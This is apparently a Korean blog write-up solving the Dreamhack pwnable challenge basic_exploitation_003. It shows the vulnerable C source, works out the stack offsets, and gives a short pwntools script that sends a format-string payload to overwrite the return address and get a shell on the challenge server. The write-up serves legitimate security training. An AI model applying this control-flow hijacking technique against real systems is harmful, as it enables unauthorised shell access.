[드림핵] basic_exploitation_003
A A

문제: https://dreamhack.io/wargame/challenges/5

 

basic_exploitation_003

Description 이 문제는 서버에서 작동하고 있는 서비스(basic_exploitation_003)의 바이너리와 소스 코드가 주어집니다. 프로그램의 취약점을 찾고 익스플로잇해 셸을 획득한 후, "flag" 파일을 읽으세요. "f

dreamhack.io

 

📍 소스코드

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}
void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(30);
}
void get_shell() {
    system("/bin/sh");
}
int main(int argc, char *argv[]) {
    char *heap_buf = (char *)malloc(0x80);
    char stack_buf[0x90] = {};
    initialize();
    read(0, heap_buf, 0x80);
    sprintf(stack_buf, heap_buf);
    printf("ECHO : %s\n", stack_buf);
    return 0;
}

 

짧다!

 

1. 최대 0x80=128바이트만큼 사용자 입력을 받아 heap_buf에 저장한다.

2. heap_buf의 내용을 stack_buf에 저장한다.

3. stack_buf의 내용을 출력한다.

 

read 함수는 null 바이트를 만날 때까지 입력을 받고, printf 함수의 %s 형식지정자는 null 바이트를 만날 때까지 출력한다.
셸을 실행하는 함수가 있으니까 main의 리턴 주소를 overwrite하면 되는 것 같다.

 

get_shell()의 주소

 

리턴 주소에 get_shell()의 주소인 0x8048669를 overwrite해야 한다.

 

🫧 스택 프레임

 

동적 할당을 받는 heap_buf의 주소는 [ebp-0x8]이다.

 

 

stack_buf의 주소는 [ebp-0x98]이다.

 

즉 주소는 다음과 같다:

| stack_buf[ebp-0x98] | heap_buf[ebp-0x8] | return address[ebp+0x4] |

 

stack_buf에서 리턴 주소까지 도달하려면 0x98 + 0x4 = 156바이트가 필요하다.
heap_buf에 156바이트의 쓰레기값과 get_shell()의 주소값을 넣어주면 될 것 같다.

 

간단하게 익스플로잇 코드를 작성해 보자.

from pwn import *

p = remote('host3.dreamhack.games', 14495)
get_shell = 0x8048669

payload = b"%156c" + p32(get_shell)

p.sendline(payload)

p.interactive()

 

 

 

🚩

 

 

🧙‍♂️

처음에는 리턴 주소를 ebp+0x8이라고 생각했는데

ebp+0x4였다.

32비트 아키텍처라서 그런 듯?

'𝐖𝐚𝐫𝐠𝐚𝐦𝐞𝐬 > 𝐏𝐰𝐧𝐚𝐛𝐥𝐞' 카테고리의 다른 글

[드림핵] basic_heap_overflow  (0) 2025.03.25
[드림핵] cmd_center  (0) 2025.03.23
[드림핵] memory_leakage  (0) 2025.03.16
[드림핵] cpp_string  (0) 2025.03.15
[드림핵] Cherry  (0) 2025.03.14
Copyright 2024. GRAVITY all rights reserved